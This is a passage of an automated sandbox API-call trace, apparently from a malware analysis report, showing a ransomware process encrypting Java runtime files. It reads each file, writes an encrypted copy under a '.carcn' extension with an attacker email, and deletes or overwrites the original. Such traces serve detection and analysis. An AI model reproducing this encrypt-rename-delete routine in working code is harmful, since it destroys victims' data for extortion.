returned 1 [0303.054] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0303.054] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0303.054] lstrlenW (lpString=".doc") returned 4 [0303.054] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0303.054] lstrlenW (lpString=".docx") returned 5 [0303.054] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0303.054] lstrlenW (lpString=".pdf") returned 4 [0303.054] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0303.054] lstrlenW (lpString=".xls") returned 4 [0303.054] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0303.054] lstrlenW (lpString=".xlsx") returned 5 [0303.054] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0303.054] lstrlenW (lpString=".ppt") returned 4 [0303.054] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0303.055] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0303.055] lstrlenW (lpString=".zip") returned 4 [0303.055] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0303.055] lstrlenW (lpString=".rar") returned 4 [0303.055] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0303.055] lstrlenW (lpString=".bz2") returned 4 [0303.055] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0303.055] lstrlenW (lpString=".7z") returned 3 [0303.055] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0303.055] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0303.055] lstrlenW (lpString=".dbf") returned 4 [0303.055] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0303.055] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0303.055] lstrlenW (lpString=".1cd") returned 4 [0303.055] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0303.055] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0303.055] lstrlenW (lpString=".jpg") returned 4 [0303.055] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0303.055] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0303.055] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0303.055] lstrlenW (lpString=".doc") returned 4 [0303.055] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0303.055] lstrlenW (lpString=".docx") returned 5 [0303.055] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0303.055] lstrlenW (lpString=".pdf") returned 4 [0303.055] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0303.055] lstrlenW (lpString=".xls") returned 4 [0303.055] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0303.055] lstrlenW (lpString=".xlsx") returned 5 [0303.055] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0303.056] lstrlenW (lpString=".ppt") returned 4 [0303.056] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0303.056] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0303.056] lstrlenW (lpString=".zip") returned 4 [0303.056] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0303.056] lstrlenW (lpString=".rar") returned 4 [0303.056] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0303.056] lstrlenW (lpString=".bz2") returned 4 [0303.056] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0303.056] lstrlenW (lpString=".7z") returned 3 [0303.056] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0303.056] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0303.056] lstrlenW (lpString=".dbf") returned 4 [0303.056] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0303.056] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0303.056] lstrlenW (lpString=".1cd") returned 4 [0303.056] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0303.056] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0303.056] lstrlenW (lpString=".jpg") returned 4 [0303.056] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0303.056] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0303.056] lstrlenW (lpString="msvcr120.dll") returned 12 [0303.056] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0303.057] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=963232) returned 1 [0303.057] CloseHandle (hObject=0x388) returned 1 [0303.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll")) returned 0x20 [0303.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0303.057] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0303.057] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.058] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.058] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0303.058] GetLastError () returned 0x0 [0303.058] ReadFile (in: hFile=0x388, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0xeb2a0, lpOverlapped=0x0) returned 1 [0303.994] WriteFile (in: hFile=0x398, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0xeb2b0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0xeb2b0, lpOverlapped=0x0) returned 1 [0304.733] ReadFile (in: hFile=0x388, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0304.733] WriteFile (in: hFile=0x398, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0304.733] SetEndOfFile (hFile=0x398) returned 1 [0304.733] CloseHandle (hObject=0x398) returned 1 [0304.733] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0304.733] SetEndOfFile (hFile=0x388) returned 1 [0304.742] CloseHandle (hObject=0x388) returned 1 [0304.742] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0304.742] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll")) returned 1 [0304.743] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0304.743] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0304.743] lstrlenW (lpString=".doc") returned 4 [0304.743] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0304.743] lstrlenW (lpString=".docx") returned 5 [0304.743] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0304.743] lstrlenW (lpString=".pdf") returned 4 [0304.743] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0304.743] lstrlenW (lpString=".xls") returned 4 [0304.743] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0304.743] lstrlenW (lpString=".xlsx") returned 5 [0304.743] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0304.743] lstrlenW (lpString=".ppt") returned 4 [0304.743] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0304.743] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0304.743] lstrlenW (lpString=".zip") returned 4 [0304.743] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0304.743] lstrlenW (lpString=".rar") returned 4 [0304.743] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0304.743] lstrlenW (lpString=".bz2") returned 4 [0304.743] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0304.743] lstrlenW (lpString=".7z") returned 3 [0304.744] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0304.744] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0304.744] lstrlenW (lpString=".dbf") returned 4 [0304.744] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0304.744] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0304.744] lstrlenW (lpString=".1cd") returned 4 [0304.744] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0304.744] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0304.744] lstrlenW (lpString=".jpg") returned 4 [0304.744] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0304.744] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0304.744] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0304.744] lstrlenW (lpString=".doc") returned 4 [0304.744] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0304.744] lstrlenW (lpString=".docx") returned 5 [0304.744] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0304.744] lstrlenW (lpString=".pdf") returned 4 [0304.744] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0304.744] lstrlenW (lpString=".xls") returned 4 [0304.744] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0304.744] lstrlenW (lpString=".xlsx") returned 5 [0304.744] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0304.744] lstrlenW (lpString=".ppt") returned 4 [0304.744] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0304.744] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0304.744] lstrlenW (lpString=".zip") returned 4 [0304.745] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0304.745] lstrlenW (lpString=".rar") returned 4 [0304.745] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0304.745] lstrlenW (lpString=".bz2") returned 4 [0304.745] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0304.745] lstrlenW (lpString=".7z") returned 3 [0304.745] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0304.745] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0304.745] lstrlenW (lpString=".dbf") returned 4 [0304.745] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0304.745] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0304.745] lstrlenW (lpString=".1cd") returned 4 [0304.745] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0304.745] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0304.745] lstrlenW (lpString=".jpg") returned 4 [0304.745] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0304.745] lstrcmpiW (lpString1=".jsa", lpString2=".carcn") returned 1 [0304.745] lstrlenW (lpString="classes.jsa") returned 11 [0304.745] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0304.746] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=18677760) returned 1 [0304.746] CloseHandle (hObject=0x388) returned 1 [0304.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa")) returned 0x21 [0304.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0304.747] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa", dwFileAttributes=0x20) returned 1 [0304.747] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-b4197730.[carcinoma24@aol.com].carcn")) returned 1 [0304.766] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0304.766] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfc64 | out: lpNewFilePointer=0x0) returned 1 [0304.766] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfc24 | out: lpNewFilePointer=0x0) returned 1 [0304.767] ReadFile (in: hFile=0x388, lpBuffer=0x428d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38bfc30, lpOverlapped=0x0 | out: lpBuffer=0x428d058*, lpNumberOfBytesRead=0x38bfc30*=0x40000, lpOverlapped=0x0) returned 1 [0304.768] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x5f0000, lpNewFilePointer=0x0, dwMoveMethod=0x38bfc24 | out: lpNewFilePointer=0x0) returned 1 [0304.768] ReadFile (in: hFile=0x388, lpBuffer=0x42cd058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38bfc30, lpOverlapped=0x0 | out: lpBuffer=0x42cd058*, lpNumberOfBytesRead=0x38bfc30*=0x40000, lpOverlapped=0x0) returned 1 [0304.780] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x38bfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0304.780] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x1190000, lpNewFilePointer=0x0, dwMoveMethod=0x38bfc24 | out: lpNewFilePointer=0x0) returned 1 [0304.780] ReadFile (in: hFile=0x388, lpBuffer=0x430d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38bfc30, lpOverlapped=0x0 | out: lpBuffer=0x430d058*, lpNumberOfBytesRead=0x38bfc30*=0x40000, lpOverlapped=0x0) returned 1 [0305.351] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.352] WriteFile (in: hFile=0x388, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x38bfca8, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfca8*=0xc0102, lpOverlapped=0x0) returned 1 [0305.369] SetEndOfFile (hFile=0x388) returned 1 [0305.369] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x40000) returned 0x44648b8 [0305.716] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfc74 | out: lpNewFilePointer=0x0) returned 1 [0305.716] WriteFile (in: hFile=0x388, lpBuffer=0x44648b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38bfc80, lpOverlapped=0x0 | out: lpBuffer=0x44648b8*, lpNumberOfBytesWritten=0x38bfc80*=0x40000, lpOverlapped=0x0) returned 1 [0305.718] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x5f0000, lpNewFilePointer=0x0, dwMoveMethod=0x38bfc74 | out: lpNewFilePointer=0x0) returned 1 [0305.719] WriteFile (in: hFile=0x388, lpBuffer=0x44648b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38bfc80, lpOverlapped=0x0 | out: lpBuffer=0x44648b8*, lpNumberOfBytesWritten=0x38bfc80*=0x40000, lpOverlapped=0x0) returned 1 [0305.724] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x1190000, lpNewFilePointer=0x0, dwMoveMethod=0x38bfc74 | out: lpNewFilePointer=0x0) returned 1 [0305.724] WriteFile (in: hFile=0x388, lpBuffer=0x44648b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38bfc80, lpOverlapped=0x0 | out: lpBuffer=0x44648b8*, lpNumberOfBytesWritten=0x38bfc80*=0x40000, lpOverlapped=0x0) returned 1 [0305.727] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0305.728] CloseHandle (hObject=0x388) returned 1 [0305.729] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x21) returned 1 [0305.729] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0305.729] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0305.729] lstrlenW (lpString=".doc") returned 4 [0305.729] lstrcmpiW (lpString1=".doc", lpString2=".jsa") returned -1 [0305.729] lstrlenW (lpString=".docx") returned 5 [0305.729] lstrcmpiW (lpString1=".docx", lpString2="s.jsa") returned -1 [0305.729] lstrlenW (lpString=".pdf") returned 4 [0305.729] lstrcmpiW (lpString1=".pdf", lpString2=".jsa") returned 1 [0305.729] lstrlenW (lpString=".xls") returned 4 [0305.729] lstrcmpiW (lpString1=".xls", lpString2=".jsa") returned 1 [0305.729] lstrlenW (lpString=".xlsx") returned 5 [0305.729] lstrcmpiW (lpString1=".xlsx", lpString2="s.jsa") returned -1 [0305.729] lstrlenW (lpString=".ppt") returned 4 [0305.729] lstrcmpiW (lpString1=".ppt", lpString2=".jsa") returned 1 [0305.729] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0305.729] lstrlenW (lpString=".zip") returned 4 [0305.729] lstrcmpiW (lpString1=".zip", lpString2=".jsa") returned 1 [0305.730] lstrlenW (lpString=".rar") returned 4 [0305.730] lstrcmpiW (lpString1=".rar", lpString2=".jsa") returned 1 [0305.730] lstrlenW (lpString=".bz2") returned 4 [0305.730] lstrcmpiW (lpString1=".bz2", lpString2=".jsa") returned -1 [0305.730] lstrlenW (lpString=".7z") returned 3 [0305.730] lstrcmpiW (lpString1=".7z", lpString2="jsa") returned -1 [0305.730] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0305.730] lstrlenW (lpString=".dbf") returned 4 [0305.730] lstrcmpiW (lpString1=".dbf", lpString2=".jsa") returned -1 [0305.730] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0305.730] lstrlenW (lpString=".1cd") returned 4 [0305.730] lstrcmpiW (lpString1=".1cd", lpString2=".jsa") returned -1 [0305.730] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0305.730] lstrlenW (lpString=".jpg") returned 4 [0305.730] lstrcmpiW (lpString1=".jpg", lpString2=".jsa") returned -1 [0305.730] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0305.730] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0305.730] lstrlenW (lpString=".doc") returned 4 [0305.730] lstrcmpiW (lpString1=".doc", lpString2=".jsa") returned -1 [0305.730] lstrlenW (lpString=".docx") returned 5 [0305.730] lstrcmpiW (lpString1=".docx", lpString2="s.jsa") returned -1 [0305.730] lstrlenW (lpString=".pdf") returned 4 [0305.730] lstrcmpiW (lpString1=".pdf", lpString2=".jsa") returned 1 [0305.730] lstrlenW (lpString=".xls") returned 4 [0305.730] lstrcmpiW (lpString1=".xls", lpString2=".jsa") returned 1 [0305.730] lstrlenW (lpString=".xlsx") returned 5 [0305.730] lstrcmpiW (lpString1=".xlsx", lpString2="s.jsa") returned -1 [0305.731] lstrlenW (lpString=".ppt") returned 4 [0305.731] lstrcmpiW (lpString1=".ppt", lpString2=".jsa") returned 1 [0305.731] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0305.731] lstrlenW (lpString=".zip") returned 4 [0305.731] lstrcmpiW (lpString1=".zip", lpString2=".jsa") returned 1 [0305.731] lstrlenW (lpString=".rar") returned 4 [0305.731] lstrcmpiW (lpString1=".rar", lpString2=".jsa") returned 1 [0305.731] lstrlenW (lpString=".bz2") returned 4 [0305.731] lstrcmpiW (lpString1=".bz2", lpString2=".jsa") returned -1 [0305.731] lstrlenW (lpString=".7z") returned 3 [0305.731] lstrcmpiW (lpString1=".7z", lpString2="jsa") returned -1 [0305.731] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0305.731] lstrlenW (lpString=".dbf") returned 4 [0305.731] lstrcmpiW (lpString1=".dbf", lpString2=".jsa") returned -1 [0305.731] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0305.731] lstrlenW (lpString=".1cd") returned 4 [0305.731] lstrcmpiW (lpString1=".1cd", lpString2=".jsa") returned -1 [0305.731] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0305.731] lstrlenW (lpString=".jpg") returned 4 [0305.731] lstrcmpiW (lpString1=".jpg", lpString2=".jsa") returned -1 [0305.731] lstrcmpiW (lpString1=".exe", lpString2=".carcn") returned 1 [0305.731] lstrlenW (lpString="tnameserv.exe") returned 13 [0305.731] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0305.732] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=16448) returned 1 [0305.732] CloseHandle (hObject=0x388) returned 1 [0305.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe")) returned 0x20 [0305.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0305.732] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0305.733] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.733] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.733] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0305.733] GetLastError () returned 0x0 [0305.733] ReadFile (in: hFile=0x388, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x4040, lpOverlapped=0x0) returned 1 [0305.741] WriteFile (in: hFile=0x344, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0x4050, lpOverlapped=0x0) returned 1 [0305.743] ReadFile (in: hFile=0x388, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0305.743] WriteFile (in: hFile=0x344, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0xee, lpOverlapped=0x0) returned 1 [0305.743] SetEndOfFile (hFile=0x344) returned 1 [0305.743] CloseHandle (hObject=0x344) returned 1 [0305.743] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.743] SetEndOfFile (hFile=0x388) returned 1 [0305.744] CloseHandle (hObject=0x388) returned 1 [0305.744] 